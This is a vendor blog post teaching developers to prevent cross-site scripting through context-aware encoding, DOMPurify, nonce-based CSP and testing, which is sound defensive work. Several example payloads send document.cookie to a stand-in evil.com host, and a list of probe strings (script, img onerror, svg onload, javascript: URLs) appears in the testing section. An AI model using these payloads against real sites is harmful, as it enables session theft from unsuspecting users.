Skip to main content
Back to blog
April 22, 2026·Updated May 2, 2026|11 min read|Antoine Duno|Web Security

XSS Prevention Guide for Developers: Modern Techniques in 2026

Cross-site scripting remains one of the most exploited vulnerabilities on the web. This guide covers all three XSS variants, vulnerable vs. secure code patterns, CSP as a second line of defense, and practical testing workflows.

Antoine Duno

1,674 words

AD

Antoine Duno

Founder of ZeriFlow · 10 years fullstack engineering · About the author

Key Takeaways

  • Cross-site scripting remains one of the most exploited vulnerabilities on the web. This guide covers all three XSS variants, vulnerable vs. secure code patterns, CSP as a second line of defense, and practical testing workflows.
  • Includes copy-paste code examples and step-by-step instructions.
  • Free automated scan available to verify your implementation.

XSS Prevention Guide for Developers: Modern Techniques in 2026

Cross-site scripting (XSS) has appeared in every OWASP Top 10 list since the list was created. In 2026 it remains in the top three injection vulnerabilities — not because developers are careless, but because XSS surfaces are large, diverse, and easy to miss during fast-paced development cycles. A single unescaped variable in a template can hand an attacker the ability to steal session tokens, redirect users, or inject fake login forms into your application.

This guide is not a theoretical overview. It walks through real vulnerable code patterns and their fixes, explains why certain mitigations fail, and gives you a layered defense strategy that holds up even when one layer has a gap.

The Three Types of XSS You Need to Know

Understanding the delivery mechanism changes how you defend against it.

1. Reflected XSS

The malicious payload lives in the HTTP request (query string, form field, URL fragment) and is immediately echoed back in the response without being stored. The attacker crafts a URL, tricks the victim into clicking it, and the payload executes in the victim''s browser under your domain.

Classic example:

https://app.example.com/search?q=<script>document.location=''https://evil.com/?c=''+document.cookie</script>

If your server renders q directly into the HTML response — even inside a "safe-looking" <h1> tag — that script executes.

2. Stored (Persistent) XSS

The payload is saved to your database (comment, username, profile bio, ticket title) and rendered for every user who views that content. This is more dangerous than reflected XSS because it does not require social engineering — anyone who loads the page is affected.

A comment field that accepts <img src=x onerror=alert(document.cookie)> and saves it verbatim is a stored XSS vulnerability waiting to become a credential-harvesting campaign.

3. DOM-Based XSS

The server is not involved. The vulnerability lives entirely in client-side JavaScript that reads from an attacker-controllable source (location.hash, document.referrer, postMessage, localStorage) and writes directly into the DOM without sanitization.

javascript
// Vulnerable
document.getElementById(''welcome'').innerHTML = location.hash.slice(1);

// Attacker navigates to: https://app.example.com/dashboard#<img src=x onerror=stealCookies()>

The server response is completely clean — a WAF or CSP report may not even catch this pattern.

Output Encoding: Your Primary Defense

The fundamental rule: encode data for the context in which it is rendered. Different contexts require different encoding strategies.

HTML Context

javascript
// Vulnerable
app.get(''/search'', (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
});

// Secure — HTML-encode the output
const he = require(''he'');

app.get(''/search'', (req, res) => {
  const safeQuery = he.encode(req.query.q);
  res.send(`<h1>Results for: ${safeQuery}</h1>`);
});

he.encode() converts <, >, ", '', and & into their HTML entity equivalents. The string renders visually correct but cannot be interpreted as markup.

JavaScript Context

When you embed user data inside a <script> block or a JavaScript string, HTML encoding is not enough. Use JSON encoding:

javascript
// Vulnerable
res.send(`<script>var username = "${user.name}";</script>`);
// Attacker sets name to: "; document.location=''https://evil.com/?''+document.cookie; //

// Secure
res.send(`<script>var username = ${JSON.stringify(user.name)};</script>`);

URL Context

javascript
// Vulnerable
res.send(`<a href="/profile?ref=${source}">Back</a>`);

// Secure
const encoded = encodeURIComponent(source);
res.send(`<a href="/profile?ref=${encoded}">Back</a>`);

Never place user input in href, src, action, or any attribute that accepts a URL without encoding and validating the scheme. javascript: URLs are a common bypass.

Template Literals and Modern Frameworks

React, Vue, and Angular all auto-escape HTML output by default when you use their standard rendering mechanisms ({variable} in JSX, {{ variable }} in Vue/Angular templates). The danger is in escape hatches:

jsx
// Vulnerable in React
<div dangerouslySetInnerHTML={{ __html: userBio }} />

// Vulnerable in Vue
<div v-html="userBio"></div>

// Vulnerable in Angular
<div [innerHTML]="userBio"></div>

If you must render HTML from user input, sanitize it first.

DOMPurify: Sanitizing HTML Properly

When your application legitimately needs to render rich HTML (a WYSIWYG editor output, markdown rendered to HTML, email preview), you need a sanitizer — not a regex. Regexes fail against XSS payloads. DOMPurify does not.

bash
npm install dompurify
javascript
import DOMPurify from ''dompurify'';

// Basic usage
const clean = DOMPurify.sanitize(dirtyHTML);
document.getElementById(''content'').innerHTML = clean;

// Strict configuration — only allow specific elements and attributes
const clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: [''b'', ''i'', ''em'', ''strong'', ''a'', ''p'', ''ul'', ''ol'', ''li''],
  ALLOWED_ATTR: [''href'', ''title'', ''target''],
  ALLOW_DATA_ATTR: false,
  FORCE_BODY: true
});

// Add hook to enforce link safety
DOMPurify.addHook(''afterSanitizeAttributes'', (node) => {
  if (node.tagName === ''A'') {
    node.setAttribute(''rel'', ''noopener noreferrer'');
    if (![''http:'', ''https:''].includes(new URL(node.href, location.href).protocol)) {
      node.removeAttribute(''href'');
    }
  }
});

DOMPurify runs in the browser and in Node.js (using jsdom). Server-side, you can also use sanitize-html for Node.js or bleach in Python.

Content Security Policy: Your Second Line of Defense

Even if an attacker finds an XSS injection point, a properly configured CSP can prevent execution or limit impact by controlling which scripts the browser is allowed to run.

Basic CSP for XSS Prevention

Content-Security-Policy: default-src ''self''; script-src ''self'' https://cdn.jsdelivr.net; style-src ''self'' ''unsafe-inline''; img-src ''self'' data: https:; object-src ''none''; base-uri ''self''; form-action ''self'';

Key directives for XSS:

  • script-src ''self'' — blocks inline scripts and scripts from external origins (disabling most XSS payloads)
  • object-src ''none'' — blocks Flash and plugin-based XSS vectors
  • base-uri ''self'' — prevents base tag injection attacks

Nonce-Based CSP

If you cannot eliminate inline scripts from your codebase, use nonces:

javascript
// Express middleware
import crypto from ''crypto'';

app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString(''base64'');
  res.setHeader(
    ''Content-Security-Policy'',
    `script-src ''nonce-${res.locals.nonce}'' ''strict-dynamic''; object-src ''none''; base-uri ''self'';`
  );
  next();
});
html
<!-- In your template -->
<script nonce="<%= nonce %>">
  // This inline script is allowed
</script>

<!-- An injected script has no nonce — it will be blocked -->
<script>document.location=''https://evil.com/?''+document.cookie</script>

strict-dynamic is important: it allows scripts loaded by your trusted script to load other scripts, which is needed for most SPAs, while still blocking injected scripts.

Report-Only Mode for Gradual Rollout

Content-Security-Policy-Report-Only: script-src ''self''; report-uri /csp-violations

Deploy in report-only mode first, collect violations for a week, fix the legitimate ones, then switch to enforcement mode.

Preventing DOM-Based XSS

DOM-based XSS requires source-to-sink analysis in your JavaScript code.

Dangerous sources (attacker-controlled data): location.href, location.hash, location.search, document.referrer, window.name, postMessage events, localStorage, sessionStorage, IndexedDB.

Dangerous sinks (where data is written): innerHTML, outerHTML, document.write(), eval(), setTimeout(string), setInterval(string), Function(), insertAdjacentHTML(), jQuery .html(), any URL-setting property.

javascript
// Vulnerable DOM XSS
const params = new URLSearchParams(location.search);
document.getElementById(''msg'').innerHTML = params.get(''message'');

// Secure — use textContent for plain text
document.getElementById(''msg'').textContent = params.get(''message'');

// Secure — use DOMPurify if HTML is needed
document.getElementById(''msg'').innerHTML = DOMPurify.sanitize(params.get(''message''));

Modern JavaScript engines and bundlers do not automatically protect DOM sinks. Static analysis tools like Semgrep with the javascript.browser.security.dom-based-xss ruleset can catch these patterns in CI.

Testing for XSS

Defense is only as good as your testing. A few approaches:

Manual payload injection — test all input fields, URL parameters, headers (User-Agent, Referer), and stored data fields with payloads like: - <script>alert(1)</script> - <img src=x onerror=alert(1)> - javascript:alert(1) (in href fields) - "><svg onload=alert(1)>

Browser DevTools — for DOM-based XSS, set a breakpoint on innerHTML assignments in the Sources panel, then trace the data back to its source.

Automated scanning — tools like OWASP ZAP, Burp Suite''s active scanner, and Nikto will probe your endpoints with hundreds of XSS payloads automatically.

ZeriFlow runs automated XSS header checks as part of its 80+ security scan, verifying that your CSP, X-XSS-Protection, and related headers are present and correctly configured — useful as a continuous check in your CI/CD pipeline.

Header Checklist for XSS Protection

HeaderRecommended ValueWhy It Matters
Content-Security-Policyscript-src ''nonce-...'' ''strict-dynamic''; object-src ''none''Prevents unauthorized script execution
X-Content-Type-OptionsnosniffPrevents MIME-sniffing that bypasses CSP
X-Frame-OptionsDENY or SAMEORIGINStops clickjacking that can chain with XSS

Common Mistakes That Bypass XSS Defenses

  1. 1Sanitizing on input, not output — data goes through many transformations (serialization, deserialization, database round-trips) and encoding applied on input often gets stripped. Encode at the point of rendering.
  1. 1Trusting `HttpOnly` cookies as an XSS fixHttpOnly prevents cookie theft via document.cookie, but the attacker can still forge requests, modify the DOM, or redirect the user.
  1. 1`unsafe-inline` in CSP — negates most XSS protection CSP provides. If legacy inline scripts are blocking this, use nonces or hashes as the migration path.
  1. 1Incomplete allowlist in DOMPurify — allowing <a href> without validating the href scheme allows javascript: execution.
  1. 1Forgetting `postMessage` handlers — any window.addEventListener(''message'', ...) that writes the event data to the DOM without origin validation is a DOM-based XSS waiting to be found.

Summary

XSS prevention works in layers. Encode outputs correctly for their context. Use a tested sanitization library when you must render HTML. Deploy a Content Security Policy that blocks inline script execution. Test every input surface — both manually and with automated tooling. And audit your JavaScript for dangerous source-to-sink flows, especially in code that reads from the URL or localStorage.


ZeriFlow scans your live site for missing or misconfigured XSS protection headers (CSP, X-Content-Type-Options, X-XSS-Protection) as part of an 80+ check security audit — and gives you a prioritized fix list in under 60 seconds. Run a free scan at zeriflow.com.

Check if your site is vulnerable to these attacks — free.

80+ automated security checks in under 60 seconds.

Related articles

Keep reading